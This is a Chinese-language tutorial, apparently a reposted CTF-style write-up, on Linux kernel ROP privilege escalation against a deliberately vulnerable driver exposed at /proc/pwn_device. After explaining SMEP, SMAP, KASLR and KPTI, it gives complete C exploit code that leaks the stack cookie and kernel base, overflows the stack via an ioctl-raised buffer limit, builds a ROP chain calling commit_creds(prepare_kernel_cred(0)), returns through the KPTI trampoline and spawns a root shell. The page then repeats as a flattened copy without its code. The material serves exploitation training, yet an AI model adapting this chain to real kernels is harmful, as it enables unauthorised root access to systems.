Linux内核ROP攻击提权实战
字数 2026 2025-08-25 22:59:20

Linux内核ROP攻击提权实战教程

1. 环境准备

1.1 实验材料

  • bzImage: 压缩后的Linux内核文件
  • initramfs.cpio.gz: 压缩的Linux文件系统
  • vuln.ko: 存在漏洞的Linux内核驱动程序
  • extract-image.sh: 用于提取vmlinux ELF文件的脚本

1.2 工具安装

apt-get -q install -y bc bison flex libelf-dev musl-tools cpio build-essential libssl-dev qemu-system-x86

1.3 提取vmlinux

./extract-image.sh bzImage > vmlinux

2. Linux内核防护机制

2.1 SMEP (Supervisor Mode Execution Prevention)

  • 作用: 防止内核执行用户态内存中的代码
  • 实现: 通过设置CPU寄存器(如CR4中的SMEP位)
  • 防护: 阻止RCE和本地提权攻击

2.2 SMAP (Supervisor Mode Access Prevention)

  • 作用: 限制内核模式对用户态内存的访问
  • 实现: 类似SMEP,通过CR4寄存器
  • 防护: 防止数据泄露和篡改攻击

2.3 KASLR (Kernel Address Space Layout Randomization)

  • 作用: 随机化内核及其模块加载地址
  • 实现: 启动时随机化基地址
  • 防护: 增加内存攻击难度

2.4 KPTI (Kernel Page-Table Isolation)

  • 作用: 防止Meltdown漏洞
  • 实现: 用户态和内核态使用不同页表
  • 防护: 防止读取内核内存中的敏感数据

3. 漏洞分析

3.1 内核模块功能

  • init_func: 模块入口,设置/pwn/pwn_device文件
  • sopen: 打开设备文件时输出"Device opened"
  • sread: 读取时输出"Welcome to this kernel pwn series"
  • swrite: 存在栈缓冲区溢出漏洞
  • sioctl: 提供修改MaxBuffer的功能

3.2 关键漏洞点

  1. sread:

    • 可控制读取字节数,导致内存泄漏
    • 可绕过KASLR防护
  2. swrite:

    • 边界检查不充分(MaxBuffer可被修改)
    • 可导致栈溢出
  3. sioctl:

    • cmd=32可修改MaxBuffer值
    • 为栈溢出创造条件

4. 环境搭建

4.1 修改启动配置

  1. 修改fs/init文件,注释掉相关命令,默认以root用户启动
  2. 修改launch.sh脚本:
    • kaslr改为nokaslr
    • 添加-s参数启用gdbserver

4.2 测试程序

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    char buffer[0x100] = "A";
    read(fd, buffer, 0x100);
}

编译命令:

gcc -o fs/hello -static hello.c

5. 漏洞利用

5.1 触发崩溃

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    char buffer[0x1000];
    ioctl(fd,32,sizeof(buffer));
    memset(buffer, 'A', 500);
    write(fd, buffer, sizeof(buffer));
    return 0;
}

5.2 信息泄露

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    unsigned long buffer[0x1000];
    read(fd, buffer, 0x100);
    for (int i = 0; i < 0x100; i++)
        printf("%d | %lx\n", i, buffer[i]);
}

5.3 控制RIP

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    unsigned long buffer[0x1000];
    read(fd, buffer, 0x100);
    unsigned long kernel_base = buffer[18] - 0x23e347;
    unsigned long kernel_cookie = buffer[14];
    printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);
    printf("[*] kernel leak: 0x%lx\n", buffer[18]);
    printf("[*] kernel base address: 0x%lx\n", kernel_base);
    
    ioctl(fd, 0x20, 0x1337);
    int offset = 16;
    unsigned long payload[50];
    payload[offset++] = kernel_cookie;
    payload[offset++] = 0xdeadbabedeadbabe;
    payload[offset++] = 0x4141414142424242; //ret addr
    write(fd, payload, sizeof(payload));
}

6. 提权原理

6.1 进程凭证

  • task_struct: 包含进程的所有信息
  • cred结构体: 包含进程的euid(有效用户ID)
  • 提权方法: 将euid改为0(root)

6.2 关键API

  1. prepare_kernel_cred:

    struct cred *prepare_kernel_cred(struct task_struct *reference_task_struct);
    
    • 传入NULL创建具有root权限的cred结构
  2. commit_creds:

    int commit_creds(struct cred *new);
    
    • 将当前cred替换为新的cred结构

6.3 提权代码

commit_creds(prepare_kernel_cred(0));

7. ROP链构造

7.1 绕过KPTI

使用KPTI trampoline方法:

  • 位于swapgs_restore_regs_and_return_to_usermode()函数中
  • 用于正常返回用户空间时交换页表

7.2 Gadget查找

  1. prepare_kernel_cred: kernel_base + 0x881c0
  2. commit_creds: kernel_base + 0x87e80
  3. kpti_trampoline: kernel_base + 0xc00a2f + 22
  4. pop_rdi: kernel_base + 0x1518
  5. pop_rdx: kernel_base + 0x34b72
  6. iretq: kernel_base + 0x23cc2
  7. swapgs_ret: kernel_base + 0xc00eaa
  8. cmp_rdx_ret: kernel_base + 0xa30061
  9. mov_rdi_rax_ret: kernel_base + 0x3b3504

8. 完整利用代码

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}

void main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    unsigned long leakbuf[0x100];
    read(fd, leakbuf, 0x100);
    
    unsigned long kernel_base = leakbuf[18] - 0x23e347;
    unsigned long kernel_cookie = leakbuf[14];
    unsigned long prepare_kernel_cred = kernel_base + 0x881c0;
    unsigned long commit_creds = kernel_base + 0x87e80;
    unsigned long user_rip = (unsigned long)get_shell;
    unsigned long kpti_trampoline = kernel_base + 0xc00a2f + 22;
    unsigned long pop_rdi = kernel_base + 0x1518;
    unsigned long pop_rdx = kernel_base + 0x34b72;
    unsigned long iretq = kernel_base + 0x23cc2;
    unsigned long swapgs_ret = kernel_base + 0xc00eaa;
    unsigned long cmp_rdx_ret = kernel_base + 0xa30061;
    unsigned long mov_rdi_rax_ret = kernel_base + 0x3b3504;

    printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);
    printf("[*] kernel leak: 0x%lx\n", leakbuf[18]);
    printf("[*] kernel base address: 0x%lx\n", kernel_base);
    printf("[*] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
    printf("[*] commit_creds: 0x%lx\n", commit_creds);
    
    ioctl(fd, 0x20, 0x1337);
    int offset = 16;
    unsigned long payload[50];
    
    payload[offset++] = kernel_cookie;
    payload[offset++] = 0x0;
    payload[offset++] = pop_rdi;
    payload[offset++] = 0x0;
    payload[offset++] = prepare_kernel_cred;
    payload[offset++] = pop_rdx;
    payload[offset++] = 0x8;
    payload[offset++] = cmp_rdx_ret;
    payload[offset++] = mov_rdi_rax_ret;
    payload[offset++] = commit_creds;
    payload[offset++] = kpti_trampoline;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = user_rip;
    payload[offset++] = user_cs;
    payload[offset++] = user_rflags;
    payload[offset++] = user_sp;
    payload[offset++] = user_ss;
    
    write(fd, payload, sizeof(payload));
}

9. 利用步骤总结

  1. 通过sread泄露内核地址和栈cookie
  2. 计算内核基地址和关键函数地址
  3. 使用ioctl修改MaxBuffer值
  4. 构造ROP链:
    • 调用prepare_kernel_cred(0)
    • 调用commit_creds
    • 通过KPTI trampoline返回用户空间
  5. 检查提权是否成功
  6. 获取root shell

10. 注意事项

  1. 调试时关闭KASLR方便定位问题
  2. 实际攻击时需要处理KASLR随机化
  3. 不同内核版本gadget地址可能不同
  4. 确保ROP链正确恢复栈状态
  5. 注意处理SMEP/SMAP防护机制
Linux内核ROP攻击提权实战教程 1. 环境准备 1.1 实验材料 bzImage : 压缩后的Linux内核文件 initramfs.cpio.gz : 压缩的Linux文件系统 vuln.ko : 存在漏洞的Linux内核驱动程序 extract-image.sh : 用于提取vmlinux ELF文件的脚本 1.2 工具安装 1.3 提取vmlinux 2. Linux内核防护机制 2.1 SMEP (Supervisor Mode Execution Prevention) 作用 : 防止内核执行用户态内存中的代码 实现 : 通过设置CPU寄存器(如CR4中的SMEP位) 防护 : 阻止RCE和本地提权攻击 2.2 SMAP (Supervisor Mode Access Prevention) 作用 : 限制内核模式对用户态内存的访问 实现 : 类似SMEP,通过CR4寄存器 防护 : 防止数据泄露和篡改攻击 2.3 KASLR (Kernel Address Space Layout Randomization) 作用 : 随机化内核及其模块加载地址 实现 : 启动时随机化基地址 防护 : 增加内存攻击难度 2.4 KPTI (Kernel Page-Table Isolation) 作用 : 防止Meltdown漏洞 实现 : 用户态和内核态使用不同页表 防护 : 防止读取内核内存中的敏感数据 3. 漏洞分析 3.1 内核模块功能 init_ func : 模块入口,设置 /pwn/pwn_device 文件 sopen : 打开设备文件时输出"Device opened" sread : 读取时输出"Welcome to this kernel pwn series" swrite : 存在栈缓冲区溢出漏洞 sioctl : 提供修改MaxBuffer的功能 3.2 关键漏洞点 sread : 可控制读取字节数,导致内存泄漏 可绕过KASLR防护 swrite : 边界检查不充分(MaxBuffer可被修改) 可导致栈溢出 sioctl : cmd=32可修改MaxBuffer值 为栈溢出创造条件 4. 环境搭建 4.1 修改启动配置 修改 fs/init 文件,注释掉相关命令,默认以root用户启动 修改 launch.sh 脚本: 将 kaslr 改为 nokaslr 添加 -s 参数启用gdbserver 4.2 测试程序 编译命令: 5. 漏洞利用 5.1 触发崩溃 5.2 信息泄露 5.3 控制RIP 6. 提权原理 6.1 进程凭证 task_ struct : 包含进程的所有信息 cred结构体 : 包含进程的euid(有效用户ID) 提权方法 : 将euid改为0(root) 6.2 关键API prepare_ kernel_ cred : 传入NULL创建具有root权限的cred结构 commit_ creds : 将当前cred替换为新的cred结构 6.3 提权代码 7. ROP链构造 7.1 绕过KPTI 使用KPTI trampoline方法: 位于 swapgs_restore_regs_and_return_to_usermode() 函数中 用于正常返回用户空间时交换页表 7.2 Gadget查找 prepare_ kernel_ cred : kernel_base + 0x881c0 commit_ creds : kernel_base + 0x87e80 kpti_ trampoline : kernel_base + 0xc00a2f + 22 pop_ rdi : kernel_base + 0x1518 pop_ rdx : kernel_base + 0x34b72 iretq : kernel_base + 0x23cc2 swapgs_ ret : kernel_base + 0xc00eaa cmp_ rdx_ ret : kernel_base + 0xa30061 mov_ rdi_ rax_ ret : kernel_base + 0x3b3504 8. 完整利用代码 9. 利用步骤总结 通过sread泄露内核地址和栈cookie 计算内核基地址和关键函数地址 使用ioctl修改MaxBuffer值 构造ROP链: 调用prepare_ kernel_ cred(0) 调用commit_ creds 通过KPTI trampoline返回用户空间 检查提权是否成功 获取root shell 10. 注意事项 调试时关闭KASLR方便定位问题 实际攻击时需要处理KASLR随机化 不同内核版本gadget地址可能不同 确保ROP链正确恢复栈状态 注意处理SMEP/SMAP防护机制